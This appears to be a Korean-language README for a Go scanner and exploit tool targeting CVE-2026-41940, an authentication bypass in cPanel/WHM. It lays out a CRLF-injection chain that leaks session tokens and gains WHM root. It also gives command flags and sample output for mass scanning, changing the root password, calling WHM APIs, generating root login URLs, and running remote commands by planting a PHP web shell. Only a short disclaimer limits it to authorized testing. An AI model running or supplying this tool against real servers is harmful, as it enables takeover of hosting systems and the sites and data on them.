
Go 기반 스캐너 및 익스플로잇 도구로, cPanel/WHM의 인증 우회 취약점인 CVE-2026-41940을 대상으로 합니다. 배치 스캔, 토큰 유출, 그리고 RCE, 비밀번호 변경, API 호출과 같은 사후 익스플로잇 작업을 지원합니다.
watchTowr의 Python PoC를 Go로 재작성한 CLI 도구로, CVE-2026-41940 cPanel/WHM 인증 우회 취약점을 탐지하고 악용합니다.
CVE-2026-41940은 cPanel/WHM의 인증 우회 취약점으로, CRLF 주입을 통해 Basic Auth 헤더에 개행 문자를 삽입하여 보안 토큰을 유출하고 WHM root 권한을 획득합니다.
4단계 공격 체인:
/login/에 잘못된 자격 증명을 전송하여 원본 whostmgrsession 쿠키 획득Authorization: Basic 헤더에 개행 문자를 주입하여 서버가 307 리디렉션의 Location 헤더에 cpsess 보안 토큰을 유출하도록 유도do_token_denied를 트리거하여 주입된 인증 데이터를 원본 저장소에서 캐시로 전파/json-api/version에 접근하여 root 권한 획득 여부 확인http://, https://, 프로토콜 없는 형식 자동 호환, 자동 중복 제거-passwd)-api)-session)-cmd)[VULN] 빨간색, [SAFE] 초록색 강조 표시# Go 1.20+ 필요
cd cpanel-checker
go build -o cpanel-checker .
| 매개변수 | 설명 | 예시 |
|---|---|---|
-u | 단일 대상 URL | -u https://1.2.3.4:2087 |
-f | URL 목록이 포함된 파일 | -f targets.txt |
-o | 출력 파일 경로 (기본값 result.txt) | -o vuln.txt |
-c | 동시 실행 수 (기본값 10) | -c 20 |
-hostname | Host 헤더 수동 지정 (기본값 자동 발견) | -hostname cpanel.example.com |
-passwd | root 비밀번호 변경 (-u 모드 전용) | -passwd NewP@ss123 |
-api | WHM API 함수 호출 (-u 모드 전용) | -api listaccts |
-api-params | WHM API 매개변수, 쉼표로 구분 | -api-params user=root,password=123 |
-session | root 원클릭 로그인 URL 생성 (-u 모드 전용) | -session |
-keep | RCE 임시 계정 유지 (-cmd와 함께 사용) | -keep |
-cmd | 원격 명령 실행 / RCE (-u 모드 전용) | -cmd "id" |
./cpanel-checker -u https://target:2087
포트 기본값은 2087이며, 다음 표기법은 동일합니다:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt는 다음 형식을 지원합니다 (한 줄에 하나, #로 시작하는 줄은 주석):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# 이것은 주석입니다
http://1.1.1.1과 https://1.1.1.1은 동일한 대상으로 간주되어 한 번만 스캔https://로 완성2087 사용result.txt에 저장 (-o로 사용자 지정 가능)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# 모든 계정 나열
./cpanel-checker -u https://target:2087 -api listaccts
# 매개변수와 함께 호출
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
URL이 출력되며, 브라우저에서 열면 WHM 관리 패널에 접속할 수 있습니다. 패널의 Terminal 기능을 사용하면 대화형 root 셸을 얻을 수 있습니다.
참고:
-session은 반자동입니다 — 도구가 로그인 URL을 생성한 후, 브라우저에서 직접 열어야 합니다.
./cpanel-checker -u https://target:2087 -cmd "id"
-keep를 추가하면 임시 계정이 유지되어 cPanel 백엔드에 로그인할 수 있습니다:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
-keep 사용 시 출력에 임시 계정의 사용자 이름, 비밀번호, cPanel 로그인 주소(https://host:2083)가 포함되며, 이 자격 증명으로 cPanel 패널에 바로 로그인할 수 있습니다.
-cmd는 완전 자동이며 추가 수동 작업이 필요 없습니다. 내부 프로세스:
Fileman::save_file_content)를 통해 PHP 셸을 ~/public_html/에 작성https://host/~tmpuser/shell.php에 접근하여 명령 실행전제 조건: 대상의 80 또는 443 포트에 접근 가능해야 하며, Apache/httpd가 실행 중이어야 합니다.
여러 악용 매개변수를 동시에 사용할 수 있습니다:
# 로그인 URL 획득, 명령 실행, 비밀번호 변경을 동시에
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
대상 IP가 cPanel에 구성된 호스트 이름과 일치하지 않을 때 수동으로 지정할 수 있습니다:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
기본적으로 도구는 /openid_connect/cpanelid의 307 리디렉션을 통해 올바른 호스트 이름을 자동으로 발견합니다.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== 스캔 완료 ==========
총계: 5 | 취약점 존재: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] 결과가 result.txt에 저장되었습니다
[*] 대상: https://target:2087
[*] 모드: 취약점 악용
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] WHM root 권한 획득
[*] 원격 명령 실행 (RCE)...
[a] 임시 계정 생성: tmpabcde
[b] 셸 작성: /home/tmpabcde/public_html/random.php
[c] 명령 실행: id
[d] 임시 계정 정리: tmpabcde
[+] 명령 출력:
uid=0(root) gid=0(root) groups=0(root)
[+] 완료. https://target:2087이(가) 제어되었습니다
-passwd, -api, -session, -cmd)는 -u 단일 대상 모드에서만 사용 가능하며, -f 대량 모드에서는 지원되지 않습니다#로 시작하는 줄은 무시됩니다본 도구는 승인된 보안 테스트 및 연구 목적으로만 제공됩니다. 승인 없이 시스템을 테스트하는 것은 불법 행위입니다. 사용자는 대상 시스템 소유자의 명시적인 서면 승인을 받았는지 확인해야 합니다. 저자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.